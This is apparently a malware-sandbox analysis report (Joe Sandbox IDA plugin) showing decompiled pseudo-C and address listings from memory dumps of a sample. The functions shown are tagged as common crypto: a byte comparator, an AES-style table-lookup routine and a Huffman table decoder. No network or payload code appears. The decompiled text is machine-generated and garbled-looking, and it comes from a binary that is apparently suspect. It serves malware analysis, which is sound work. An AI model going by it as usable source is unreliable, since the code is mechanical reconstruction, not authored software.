								_t228 = (0 | _t309 > 0x00000000) * 2 - 1;
								if(_t228 != 0) {
									goto L78;
								}
								goto L29;
							}
							_t228 = (0 | _t307 > 0x00000000) * 2 - 1;
							if(_t228 != 0) {
								goto L78;
							}
							goto L27;
						}
						_t228 = (0 | _t305 > 0x00000000) * 2 - 1;
						if(_t228 != 0) {
							goto L78;
						}
						goto L25;
					}
					_t311 = (_t179 & 0x000000ff) - ( *(_t278 - 0x18) & 0x000000ff);
					if(_t311 == 0) {
						L14:
						_t313 = ( *(_t322 - 0x17) & 0x000000ff) - ( *(_t278 - 0x17) & 0x000000ff);
						if(_t313 == 0) {
							L16:
							_t315 = ( *(_t322 - 0x16) & 0x000000ff) - ( *(_t278 - 0x16) & 0x000000ff);
							if(_t315 == 0) {
								L18:
								_t228 = ( *(_t322 - 0x15) & 0x000000ff) - ( *(_t278 - 0x15) & 0x000000ff);
								if(_t228 != 0) {
									_t228 = (0 | _t228 > 0x00000000) * 2 - 1;
								}
								goto L21;
							}
							_t228 = (0 | _t315 > 0x00000000) * 2 - 1;
							if(_t228 != 0) {
								goto L78;
							}
							goto L18;
						}
						_t228 = (0 | _t313 > 0x00000000) * 2 - 1;
						if(_t228 != 0) {
							goto L78;
						}
						goto L16;
					}
					_t228 = (0 | _t311 > 0x00000000) * 2 - 1;
					if(_t228 != 0) {
						goto L78;
					}
					goto L14;
				}
				_t317 = (_t177 & 0x000000ff) - ( *(__edx - 0x1c) & 0x000000ff);
				if(_t317 == 0) {
					L3:
					_t319 = ( *(_t322 - 0x1b) & 0x000000ff) - ( *(_t278 - 0x1b) & 0x000000ff);
					if(_t319 == 0) {
						L5:
						_t321 = ( *(_t322 - 0x1a) & 0x000000ff) - ( *(_t278 - 0x1a) & 0x000000ff);
						if(_t321 == 0) {
							L7:
							_t228 = ( *(_t322 - 0x19) & 0x000000ff) - ( *(_t278 - 0x19) & 0x000000ff);
							if(_t228 != 0) {
								_t228 = (0 | _t228 > 0x00000000) * 2 - 1;
							}
							goto L10;
						}
						_t228 = (0 | _t321 > 0x00000000) * 2 - 1;
						if(_t228 != 0) {
							goto L78;
						}
						goto L7;
					}
					_t228 = (0 | _t319 > 0x00000000) * 2 - 1;
					if(_t228 != 0) {
						goto L78;
					}
					goto L5;
				}
				_t228 = (0 | _t317 > 0x00000000) * 2 - 1;
				if(_t228 != 0) {
					goto L78;
				}
				goto L3;
			}

0x00260146
0x00260146
0x00260146
0x0026014c
0x002601d3
0x002601d5
0x002601d7
0x00260556
0x00260556
0x00261347
0x00261347
0x002601dd
0x002601e3
0x0026026a
0x0026026c
0x0026026e
0x00000000
0x00000000
0x00260274
0x0026027a
0x00260301
0x00260303
0x00260305
0x00000000
0x00000000
0x0026030b
0x00260311
0x00260398
0x0026039a
0x0026039c
0x00000000
0x00000000
0x002603a8
0x00260430
0x00260432
0x00260434
0x00000000
0x00000000
0x0026043a
0x00260440
0x002604c7
0x002604c9
0x002604cb
0x00000000
0x00000000
0x002604d1
0x002604d7
0x0026054e
0x00260550
0x00260552
0x00260554
0x00260554
0x00000000
0x00260552
0x002604e0
0x002604e2
0x002604f6
0x002604fe
0x00260500
0x00260514
0x0026051c
0x0026051e
0x00260532
0x0026053a
0x0026053c
0x00260545
0x00260545
0x00000000
0x0026053c
0x00260527
0x00260530
0x00000000
0x00000000
0x00000000
0x00260530
0x00260509
0x00260512
0x00000000
0x00000000
0x00000000
0x00260512
0x002604eb
0x002604f4
0x00000000
0x00000000
0x00000000
0x002604f4
0x0026044d
0x0026044f
0x00260467
0x0026046f
0x00260471
0x00260489
0x00260491
0x00260493
0x002604ab
0x002604b3
0x002604b5
0x002604be
0x002604be
0x00000000
0x002604b5
0x0026049c
0x002604a5
0x00000000
0x00000000
0x00000000
0x002604a5
0x0026047a
0x00260483
0x00000000
0x00000000
0x00000000
0x00260483
0x00260458
0x00260461
0x00000000
0x00000000
0x00000000
0x00260461
0x002603b6
0x002603b8
0x002603d0
0x002603d8
0x002603da
0x002603f2
0x002603fa
0x002603fc
0x00260414
0x0026041c
0x0026041e
0x00260427
0x00260427
0x00000000
0x0026041e
0x00260405
0x0026040e
0x00000000
0x00000000
0x00000000
0x0026040e
0x002603e3
0x002603ec
0x00000000
0x00000000
0x00000000
0x002603ec
0x002603c1
0x002603ca
0x00000000
0x00000000
0x00000000
0x002603ca
0x0026031e
0x00260320
0x00260338
0x00260340
0x00260342
0x0026035a
0x00260362
0x00260364
0x0026037c
0x00260384
0x00260386
0x0026038f
0x0026038f
0x00000000
0x00260386
0x0026036d
0x00260376
0x00000000
0x00000000
0x00000000
0x00260376
0x0026034b
0x00260354
0x00000000
0x00000000
0x00000000
0x00260354
0x00260329
0x00260332
0x00000000
0x00000000
0x00000000
0x00260332
0x00260287
0x00260289
0x002602a1
0x002602a9
0x002602ab
0x002602c3
0x002602cb
0x002602cd
0x002602e5
0x002602ed
0x002602ef
0x002602f8
0x002602f8
0x00000000
0x002602ef
0x002602d6
0x002602df
0x00000000
0x00000000
0x00000000
0x002602df
0x002602b4
0x002602bd
0x00000000
0x00000000
0x00000000
0x002602bd
0x00260292
0x0026029b
0x00000000
0x00000000
0x00000000
0x0026029b
0x002601f0
0x002601f2
0x0026020a
0x00260212
0x00260214
0x0026022c
0x00260234
0x00260236
0x0026024e
0x00260256
0x00260258
0x00260261
0x00260261
0x00000000
0x00260258
0x0026023f
0x00260248
0x00000000
0x00000000
0x00000000
0x00260248
0x0026021d
0x00260226
0x00000000
0x00000000
0x00000000
0x00260226
0x002601fb
0x00260204
0x00000000
0x00000000
0x00000000
0x00260204
0x00260159
0x0026015b
0x00260173
0x0026017b
0x0026017d
0x00260195
0x0026019d
0x0026019f
0x002601b7
0x002601bf
0x002601c1
0x002601ca
0x002601ca
0x00000000
0x002601c1
0x002601a8
0x002601b1
0x00000000
0x00000000
0x00000000
0x002601b1
0x00260186
0x0026018f
0x00000000
0x00000000
0x00000000
0x0026018f
0x00260164
0x0026016d
0x00000000
0x00000000
0x00000000

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
Instruction ID: c77a050c9f61715e752399cda27b11aee10d8ee36f32c55310e419888258148f
Opcode Fuzzy Hash: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
Instruction Fuzzy Hash: DDC177322251930ADF2E4A3D85B443FBBA16E917B131A179DD8B7CB1C5FE10D5B4E910

Uniqueness

Uniqueness Score: -1.00%

Function 0024E1E0 Relevance: .3, Instructions: 318
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E0024E1E0(void* __ebx, intOrPtr __ecx, void* __esi) {
				void* _t222;
				intOrPtr _t229;
				signed char _t253;
				signed int _t301;
				signed int* _t304;
				signed int* _t309;
				unsigned int _t313;
				signed char _t348;
				unsigned int _t350;
				signed int _t353;
				unsigned int _t356;
				signed int* _t359;
				signed int _t363;
				signed int _t368;
				signed int _t372;
				signed int _t376;
				signed char _t378;
				signed int* _t382;
				signed int _t388;
				signed int _t394;
				signed int _t399;
				intOrPtr _t400;
				signed char _t402;
				signed char _t403;
				signed char _t404;
				unsigned int _t406;
				signed int _t409;
				signed int _t411;
				unsigned int _t412;
				unsigned int _t414;
				unsigned int _t415;
				signed int _t416;
				signed int _t421;
				void* _t422;
				unsigned int _t423;
				unsigned int _t424;
				signed int _t426;
				intOrPtr _t429;
				signed int* _t430;
				void* _t431;
				void* _t432;

				_t414 =  *(_t431 + 0x6c);
				_t429 = __ecx;
				 *((intOrPtr*)(_t431 + 0x24)) = __ecx;
				if(_t414 != 0) {
					_t415 = _t414 >> 4;
					 *(_t431 + 0x6c) = _t415;
					if( *((char*)(__ecx)) == 0) {
						 *((intOrPtr*)(_t431 + 0x38)) = __ecx + 8;
						E0025F300(_t431 + 0x5c, __ecx + 8, 0x10);
						_t432 = _t431 + 0xc;
						if(_t415 == 0) {
							L13:
							return E0025F300( *((intOrPtr*)(_t432 + 0x38)), _t432 + 0x58, 0x10);
						}
						_t399 =  *(_t432 + 0x68);
						 *(_t432 + 0x24) = _t399 + 8;
						_t229 =  *((intOrPtr*)(_t432 + 0x78));
						_t400 = _t399 - _t229;
						 *((intOrPtr*)(_t432 + 0x34)) = _t400;
						_t359 = _t229 + 8;
						 *(_t432 + 0x28) = _t359;
						do {
							_t421 =  *(_t429 + 4);
							 *(_t432 + 0x30) = _t359 + _t400 + 0xfffffff8;
							E0024E1AE(_t432 + 0x54, _t359 + _t400 + 0xfffffff8, (_t421 << 4) + 0x18 + _t429);
							_t402 =  *(_t432 + 0x4c);
							 *(_t432 + 0x10) =  *(0x2851c0 + (_t402 & 0x000000ff) * 4) ^  *(0x285dc0 + ( *(_t432 + 0x53) & 0x000000ff) * 4) ^  *(0x2859c0 + ( *(_t432 + 0x56) & 0x000000ff) * 4);
							_t348 =  *(_t432 + 0x58);
							_t363 =  *(_t432 + 0x10) ^  *(0x2855c0 + (_t348 & 0x000000ff) * 4);
							 *(_t432 + 0x10) = _t363;
							 *(_t432 + 0x3c) = _t363;
							_t403 =  *(_t432 + 0x50);
							_t368 =  *(0x2855c0 + (_t402 & 0x000000ff) * 4) ^  *(0x2851c0 + (_t403 & 0x000000ff) * 4) ^  *(0x285dc0 + ( *(_t432 + 0x57) & 0x000000ff) * 4) ^  *(0x2859c0 + ( *(_t432 + 0x5a) & 0x000000ff) * 4);
							 *(_t432 + 0x14) = _t368;
							 *(_t432 + 0x40) = _t368;
							_t404 =  *(_t432 + 0x54);
							 *(_t432 + 0x18) =  *(0x2859c0 + ( *(_t432 + 0x4e) & 0x000000ff) * 4) ^  *(0x2855c0 + (_t403 & 0x000000ff) * 4);
							_t372 =  *(_t432 + 0x18) ^  *(0x2851c0 + (_t404 & 0x000000ff) * 4) ^  *(0x285dc0 + ( *(_t432 + 0x5b) & 0x000000ff) * 4);
							 *(_t432 + 0x18) = _t372;
							 *(_t432 + 0x44) = _t372;
							 *(_t432 + 0x1c) =  *(0x285dc0 + ( *(_t432 + 0x4f) & 0x000000ff) * 4) ^  *(0x2859c0 + ( *(_t432 + 0x52) & 0x000000ff) * 4);
							_t376 =  *(_t432 + 0x1c) ^  *(0x2855c0 + (_t404 & 0x000000ff) * 4) ^  *(0x2851c0 + (_t348 & 0x000000ff) * 4);
							_t422 = _t421 - 1;
							 *(_t432 + 0x1c) = _t376;
							 *(_t432 + 0x48) = _t376;
							if(_t422 <= 1) {
								goto L9;
							}
							_t416 =  *(_t432 + 0x10);
							_t309 = (_t422 + 2 << 4) + _t429;
							 *(_t432 + 0x1c) = _t309;
							_t430 = _t309;
							 *(_t432 + 0x20) = _t422 - 1;
							do {
								_t411 =  *_t430;
								 *(_t432 + 0x10) =  *(_t430 - 8) ^ _t416;
								_t430 = _t430 - 0x10;
								_t313 = _t430[5] ^ _t376;
								_t412 = _t411 ^  *(_t432 + 0x18);
								 *(_t432 + 0x1c) = _t313;
								_t356 = _t430[3] ^  *(_t432 + 0x14);
								_t416 =  *(0x2855c0 + (_t313 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x2859c0 + (_t412 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x285dc0 + (_t356 >> 0x18) * 4) ^  *(0x2851c0 + ( *(_t432 + 0x10) & 0x000000ff) * 4);
								 *(_t432 + 0x3c) = _t416;
								 *(_t432 + 0x14) =  *(0x2859c0 + ( *(_t432 + 0x1c) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x285dc0 + (_t412 >> 0x18) * 4);
								_t388 =  *(_t432 + 0x14) ^  *(0x2855c0 + ( *(_t432 + 0x10) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x2851c0 + (_t356 & 0x000000ff) * 4);
								 *(_t432 + 0x14) = _t388;
								 *(_t432 + 0x40) = _t388;
								_t394 =  *(0x285dc0 + ( *(_t432 + 0x1c) >> 0x18) * 4) ^  *(0x2855c0 + (_t356 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x2859c0 + ( *(_t432 + 0x10) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x2851c0 + (_t412 & 0x000000ff) * 4);
								 *(_t432 + 0x18) = _t394;
								 *(_t432 + 0x44) = _t394;
								_t376 =  *(0x2855c0 + (_t412 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x2859c0 + (_t356 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x285dc0 + ( *(_t432 + 0x10) >> 0x18) * 4) ^  *(0x2851c0 + ( *(_t432 + 0x1c) & 0x000000ff) * 4);
								_t135 = _t432 + 0x20;
								 *_t135 =  *(_t432 + 0x20) - 1;
								 *(_t432 + 0x48) = _t376;
							} while ( *_t135 != 0);
							_t429 =  *((intOrPtr*)(_t432 + 0x2c));
							 *(_t432 + 0x10) = _t416;
							_t415 =  *(_t432 + 0x74);
							 *(_t432 + 0x1c) = _t376;
							L9:
							_t253 =  *(_t429 + 0x28) ^  *(_t432 + 0x10);
							 *(_t432 + 0x20) = _t253;
							 *(_t432 + 0x4c) = _t253;
							_t378 =  *(_t429 + 0x34) ^  *(_t432 + 0x1c);
							 *(_t432 + 0x3c) =  *((intOrPtr*)((_t253 & 0x000000ff) + 0x2840a0));
							_t406 =  *(_t429 + 0x30) ^  *(_t432 + 0x18);
							_t350 =  *(_t429 + 0x2c) ^  *(_t432 + 0x14);
							 *((char*)(_t432 + 0x3d)) =  *((intOrPtr*)((_t378 >> 0x00000008 & 0x000000ff) + 0x2840a0));
							_t423 =  *(_t432 + 0x20);
							 *(_t432 + 0x54) = _t406;
							 *(_t432 + 0x50) = _t350;
							 *((char*)(_t432 + 0x3e)) =  *((intOrPtr*)((_t406 >> 0x00000010 & 0x000000ff) + 0x2840a0));
							 *(_t432 + 0x58) = _t378;
							 *((char*)(_t432 + 0x3f)) =  *((intOrPtr*)((_t350 >> 0x18) + 0x2840a0));
							 *(_t432 + 0x40) =  *((intOrPtr*)((_t350 & 0x000000ff) + 0x2840a0));
							 *((char*)(_t432 + 0x41)) =  *((intOrPtr*)((_t423 >> 0x00000008 & 0x000000ff) + 0x2840a0));
							 *((char*)(_t432 + 0x42)) =  *((intOrPtr*)((_t378 >> 0x00000010 & 0x000000ff) + 0x2840a0));
							 *((char*)(_t432 + 0x43)) =  *((intOrPtr*)((_t406 >> 0x18) + 0x2840a0));
							 *(_t432 + 0x44) =  *((intOrPtr*)((_t406 & 0x000000ff) + 0x2840a0));
							 *((char*)(_t432 + 0x45)) =  *((intOrPtr*)((_t350 >> 0x00000008 & 0x000000ff) + 0x2840a0));
							_t424 = _t423 >> 0x18;
							 *((char*)(_t432 + 0x46)) =  *((intOrPtr*)((_t423 >> 0x00000010 & 0x000000ff) + 0x2840a0));
							 *((char*)(_t432 + 0x47)) =  *((intOrPtr*)((_t378 >> 0x18) + 0x2840a0));
							 *(_t432 + 0x48) =  *((intOrPtr*)((_t378 & 0x000000ff) + 0x2840a0));
							_t409 =  *(_t432 + 0x3c) ^  *(_t429 + 0x18);
							 *((char*)(_t432 + 0x49)) =  *((intOrPtr*)((_t406 >> 0x00000008 & 0x000000ff) + 0x2840a0));
							 *((char*)(_t432 + 0x4a)) =  *((intOrPtr*)((_t350 >> 0x00000010 & 0x000000ff) + 0x2840a0));
							_t188 = _t424 + 0x2840a0; // 0x30d56a09
							 *((char*)(_t432 + 0x4b)) =  *_t188;
							_t301 =  *(_t432 + 0x48) ^  *(_t429 + 0x24);
							_t426 =  *(_t432 + 0x40) ^  *(_t429 + 0x1c);
							_t353 =  *(_t432 + 0x44) ^  *(_t429 + 0x20);
							 *(_t432 + 0x20) = _t301;
							if( *((char*)(_t429 + 1)) != 0) {
								_t409 = _t409 ^  *(_t432 + 0x5c);
								_t426 = _t426 ^  *(_t432 + 0x60);
								_t353 = _t353 ^  *(_t432 + 0x64);
								 *(_t432 + 0x20) = _t301 ^  *(_t432 + 0x68);
							}
							 *(_t432 + 0x5c) =  *( *(_t432 + 0x30));
							_t304 =  *(_t432 + 0x24);
							 *(_t432 + 0x60) =  *(_t304 - 4);
							 *(_t432 + 0x64) =  *_t304;
							 *(_t432 + 0x68) = _t304[1];
							_t382 =  *(_t432 + 0x28);
							 *(_t432 + 0x24) =  &(_t304[4]);
							 *(_t382 - 8) = _t409;
							_t382[1] =  *(_t432 + 0x20);
							_t400 =  *((intOrPtr*)(_t432 + 0x34));
							 *(_t382 - 4) = _t426;
							 *_t382 = _t353;
							_t359 =  &(_t382[4]);
							_t415 = _t415 - 1;
							 *(_t432 + 0x28) = _t359;
							 *(_t432 + 0x74) = _t415;
						} while (_t415 != 0);
						goto L13;
					}
					return E0024E6A2( *((intOrPtr*)(_t431 + 0x70)), _t415,  *((intOrPtr*)(_t431 + 0x70)));
				}
				return _t222;
			}

0x0024e1e5
0x0024e1e9
0x0024e1eb
0x0024e1f1
0x0024e1f7
0x0024e1fe
0x0024e202
0x0024e21d
0x0024e226
0x0024e22b
0x0024e230
0x0024e687
0x00000000
0x0024e697
0x0024e236
0x0024e23f
0x0024e243
0x0024e247
0x0024e249
0x0024e24d
0x0024e250
0x0024e254
0x0024e254
0x0024e264
0x0024e271
0x0024e276
0x0024e29c
0x0024e2a0
0x0024e2ab
0x0024e2b2
0x0024e2b6
0x0024e2bd
0x0024e2e3
0x0024e2ef
0x0024e2f3
0x0024e301
0x0024e30c
0x0024e323
0x0024e32f
0x0024e333
0x0024e34a
0x0024e35f
0x0024e366
0x0024e367
0x0024e36b
0x0024e372
0x00000000
0x00000000
0x0024e378
0x0024e382
0x0024e385
0x0024e389
0x0024e38b
0x0024e38f
0x0024e394
0x0024e397
0x0024e39b
0x0024e3a1
0x0024e3a3
0x0024e3a7
0x0024e3b6
0x0024e3e6
0x0024e3f7
0x0024e409
0x0024e425
0x0024e42e
0x0024e432
0x0024e46b
0x0024e472
0x0024e476
0x0024e4a3
0x0024e4aa
0x0024e4aa
0x0024e4af
0x0024e4af
0x0024e4b9
0x0024e4bd
0x0024e4c1
0x0024e4c5
0x0024e4c9
0x0024e4cc
0x0024e4d0
0x0024e4d4
0x0024e4de
0x0024e4eb
0x0024e4f7
0x0024e4fe
0x0024e508
0x0024e514
0x0024e518
0x0024e51c
0x0024e526
0x0024e52f
0x0024e539
0x0024e546
0x0024e558
0x0024e56a
0x0024e579
0x0024e589
0x0024e59e
0x0024e5aa
0x0024e5b3
0x0024e5c2
0x0024e5cf
0x0024e5da
0x0024e5e3
0x0024e5f0
0x0024e5f4
0x0024e5fa
0x0024e60a
0x0024e60d
0x0024e610
0x0024e617
0x0024e61b
0x0024e61d
0x0024e621
0x0024e625
0x0024e62d
0x0024e62d
0x0024e637
0x0024e63b
0x0024e642
0x0024e648
0x0024e652
0x0024e656
0x0024e65a
0x0024e65e
0x0024e665
0x0024e668
0x0024e66c
0x0024e66f
0x0024e671
0x0024e674
0x0024e677
0x0024e67b
0x0024e67b
0x00000000
0x0024e686
0x00000000
0x0024e20d
0x0024e69f

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3c8a78d27d7057d8f538f689cefe6e62df8df1ce0f2c43f2a7e9601a575dafa
Instruction ID: dc93c374483e67996e496c53d84bacfcc491ab4a0ae88f356d67cf70aabbc31a
Opcode Fuzzy Hash: a3c8a78d27d7057d8f538f689cefe6e62df8df1ce0f2c43f2a7e9601a575dafa
Instruction Fuzzy Hash: FFE145785193948FD308CF29E49496BBBF0BF8A300F85099EF9D587352C235EA15DB62

Uniqueness

Uniqueness Score: -1.00%

Function 002539AC Relevance: .3, Instructions: 263
COMMONCrypto

Download Yara Rule

C-Code - Quality: 78%

			E002539AC(void* __ecx, void* __edx) {
				void* __edi;
				signed int _t82;
				signed int _t88;
				signed int _t93;
				signed int _t94;
				signed int _t95;
				signed int _t98;
				signed int _t99;
				intOrPtr _t116;
				signed int _t127;
				void* _t135;
				signed int _t137;
				signed int _t138;
				signed int _t148;
				signed int _t150;
				void* _t152;
				signed int _t155;
				signed int _t156;
				intOrPtr* _t157;
				intOrPtr* _t166;
				signed int _t169;
				void* _t170;
				signed int _t173;
				void* _t178;
				unsigned int _t180;
				signed int _t183;
				intOrPtr* _t184;
				void* _t185;
				signed int _t187;
				signed int _t188;
				intOrPtr* _t189;
				signed int _t192;
				signed int _t198;
				void* _t201;

				_t178 = __edx;
				_t185 = __ecx;
				_t184 = __ecx + 4;
				if( *_t184 <=  *((intOrPtr*)(__ecx + 0x84)) - 0x19) {
					L2:
					E0024A724(_t184,  ~( *(_t185 + 8)) & 0x00000007);
					_t82 = E0024A73B(_t184);
					_t205 = _t82 & 0x00008000;
					if((_t82 & 0x00008000) == 0) {
						_t137 = 0;
						 *((intOrPtr*)(_t185 + 0xe65c)) = 0;
						 *((intOrPtr*)(_t185 + 0x98d0)) = 0;
						 *((intOrPtr*)(_t185 + 0x98d4)) = 0;
						__eflags = _t82 & 0x00004000;
						if((_t82 & 0x00004000) == 0) {
							E0025F1A0(_t184, _t185 + 0xe4c8, 0, 0x194);
							_t201 = _t201 + 0xc;
						}
						E0024A724(_t184, 2);
						do {
							 *(_t201 + 0x14) = E0024A73B(_t184) >> 0x0000000c & 0x000000ff;
							E0024A724(_t184, 4);
							_t88 =  *(_t201 + 0x10);
							__eflags = _t88 - 0xf;
							if(_t88 != 0xf) {
								 *(_t201 + _t137 + 0x14) = _t88;
								goto L15;
							}
							_t187 = E0024A73B(_t184) >> 0x0000000c & 0x000000ff;
							E0024A724(_t184, 4);
							__eflags = _t187;
							if(_t187 != 0) {
								_t188 = _t187 + 2;
								__eflags = _t188;
								while(1) {
									_t188 = _t188 - 1;
									__eflags = _t137 - 0x14;
									if(_t137 >= 0x14) {
										break;
									}
									 *(_t201 + _t137 + 0x14) = 0;
									_t137 = _t137 + 1;
									__eflags = _t188;
									if(_t188 != 0) {
										continue;
									}
									break;
								}
								_t137 = _t137 - 1;
								goto L15;
							}
							 *(_t201 + _t137 + 0x14) = 0xf;
							L15:
							_t137 = _t137 + 1;
							__eflags = _t137 - 0x14;
						} while (_t137 < 0x14);
						_push(0x14);
						_t189 = _t185 + 0x3c50;
						_push(_t189);
						_push(_t201 + 0x1c);
						E00252FE6();
						_t138 = 0;
						__eflags = 0;
						do {
							__eflags =  *_t184 -  *((intOrPtr*)(_t185 + 0x84)) - 5;
							if( *_t184 <=  *((intOrPtr*)(_t185 + 0x84)) - 5) {
								L19:
								_t93 = E0024A740(_t184);
								_t94 =  *(_t189 + 0x84);
								_t180 = _t93 & 0x0000fffe;
								__eflags = _t180 -  *((intOrPtr*)(_t189 + 4 + _t94 * 4));
								if(_t180 >=  *((intOrPtr*)(_t189 + 4 + _t94 * 4))) {
									_t148 = 0xf;
									_t95 = _t94 + 1;
									 *(_t201 + 0x10) = _t148;
									__eflags = _t95 - _t148;
									if(_t95 >= _t148) {
										L27:
										_t150 =  *(_t184 + 4) +  *(_t201 + 0x10);
										 *_t184 =  *_t184 + (_t150 >> 3);
										_t98 =  *(_t201 + 0x10);
										 *(_t184 + 4) = _t150 & 0x00000007;
										_t152 = 0x10;
										_t155 =  *((intOrPtr*)(_t189 + 0x44 + _t98 * 4)) + (_t180 -  *((intOrPtr*)(_t189 + _t98 * 4)) >> _t152 - _t98);
										__eflags = _t155 -  *_t189;
										asm("sbb eax, eax");
										_t99 = _t98 & _t155;
										__eflags = _t99;
										_t156 =  *(_t189 + 0xc88 + _t99 * 2) & 0x0000ffff;
										L28:
										__eflags = _t156 - 0x10;
										if(_t156 >= 0x10) {
											__eflags = _t156 - 0x12;
											if(__eflags >= 0) {
												_t157 = _t184;
												if(__eflags != 0) {
													_t192 = (E0024A73B(_t157) >> 9) + 0xb;
													__eflags = _t192;
													_push(7);
												} else {
													_t192 = (E0024A73B(_t157) >> 0xd) + 3;
													_push(3);
												}
												E0024A724(_t184);
												while(1) {
													_t192 = _t192 - 1;
													__eflags = _t138 - 0x194;
													if(_t138 >= 0x194) {
														goto L46;
													}
													 *(_t201 + _t138 + 0x28) = 0;
													_t138 = _t138 + 1;
													__eflags = _t192;
													if(_t192 != 0) {
														continue;
													}
													L44:
													_t189 = _t185 + 0x3c50;
													goto L45;
												}
												break;
											}
											__eflags = _t156 - 0x10;
											_t166 = _t184;
											if(_t156 != 0x10) {
												_t198 = (E0024A73B(_t166) >> 9) + 0xb;
												__eflags = _t198;
												_push(7);
											} else {
												_t198 = (E0024A73B(_t166) >> 0xd) + 3;
												_push(3);
											}
											E0024A724(_t184);
											__eflags = _t138;
											if(_t138 == 0) {
												L47:
												_t116 = 0;
												L49:
												return _t116;
											} else {
												while(1) {
													_t198 = _t198 - 1;
													__eflags = _t138 - 0x194;
													if(_t138 >= 0x194) {
														goto L46;
													}
													 *(_t201 + _t138 + 0x28) =  *((intOrPtr*)(_t201 + _t138 + 0x27));
													_t138 = _t138 + 1;
													__eflags = _t198;
													if(_t198 != 0) {
														continue;
													}
													goto L44;
												}
												break;
											}
										}
										 *(_t201 + _t138 + 0x28) =  *((intOrPtr*)(_t138 + _t185 + 0xe4c8)) + _t156 & 0x0000000f;
										_t138 = _t138 + 1;
										goto L45;
									}
									_t169 = 4 + _t95 * 4 + _t189;
									__eflags = _t169;
									while(1) {
										__eflags = _t180 -  *_t169;
										if(_t180 <  *_t169) {
											break;
										}
										_t95 = _t95 + 1;
										_t169 = _t169 + 4;
										__eflags = _t95 - 0xf;
										if(_t95 < 0xf) {
											continue;
										}
										goto L27;
									}
									 *(_t201 + 0x10) = _t95;
									goto L27;
								}
								_t170 = 0x10;
								_t183 = _t180 >> _t170 - _t94;
								_t173 = ( *(_t183 + _t189 + 0x88) & 0x000000ff) +  *(_t184 + 4);
								 *_t184 =  *_t184 + (_t173 >> 3);
								 *(_t184 + 4) = _t173 & 0x00000007;
								_t156 =  *(_t189 + 0x488 + _t183 * 2) & 0x0000ffff;
								goto L28;
							}
							_t127 = E002546DC(_t185);
							__eflags = _t127;
							if(_t127 == 0) {
								goto L47;
							}
							goto L19;
							L45:
							__eflags = _t138 - 0x194;
						} while (_t138 < 0x194);
						L46:
						 *((char*)(_t185 + 0xe661)) = 1;
						__eflags =  *_t184 -  *((intOrPtr*)(_t185 + 0x84));
						if( *_t184 <=  *((intOrPtr*)(_t185 + 0x84))) {
							_push(0x12b);
							_push(_t185 + 0xa0);
							_push(_t201 + 0x30);
							E00252FE6();
							_push(0x3c);
							_push(_t185 + 0xf8c);
							_push(_t201 + 0x15b);
							E00252FE6();
							_push(0x11);
							_push(_t185 + 0x1e78);
							_push(_t201 + 0x197);
							E00252FE6();
							_push(0x1c);
							_push(_t185 + 0x2d64);
							_push(_t201 + 0x1a8);
							E00252FE6();
							E0025F300(_t185 + 0xe4c8, _t201 + 0x2c, 0x194);
							_t116 = 1;
							goto L49;
						}
						goto L47;
					}
					 *((intOrPtr*)(_t185 + 0xe65c)) = 1;
					_push(_t185 + 0xe4c4);
					_push(_t185);
					return E002527BB(_t178, _t205);
				}
				_t135 = E002546DC(__ecx);
				if(_t135 != 0) {
					goto L2;
				}
				return _t135;
			}

0x002539ac
0x002539b3
0x002539bc
0x002539c4
0x002539d3
0x002539de
0x002539e5
0x002539ea
0x002539ef
0x00253a14
0x00253a16
0x00253a1c
0x00253a22
0x00253a28
0x00253a2d
0x00253a3c
0x00253a41
0x00253a41
0x00253a48
0x00253a4e
0x00253a5f
0x00253a63
0x00253a68
0x00253a6c
0x00253a6f
0x00253aa8
0x00000000
0x00253aa8
0x00253a7f
0x00253a82
0x00253a87
0x00253a89
0x00253a92
0x00253a92
0x00253a95
0x00253a95
0x00253a96
0x00253a99
0x00000000
0x00000000
0x00253a9b
0x00253aa0
0x00253aa1
0x00253aa3
0x00000000
0x00000000
0x00000000
0x00253aa3
0x00253aa5
0x00000000
0x00253aa5
0x00253a8b
0x00253aac
0x00253aac
0x00253aad
0x00253aad
0x00253ab2
0x00253ab4
0x00253abc
0x00253ac1
0x00253ac2
0x00253ac7
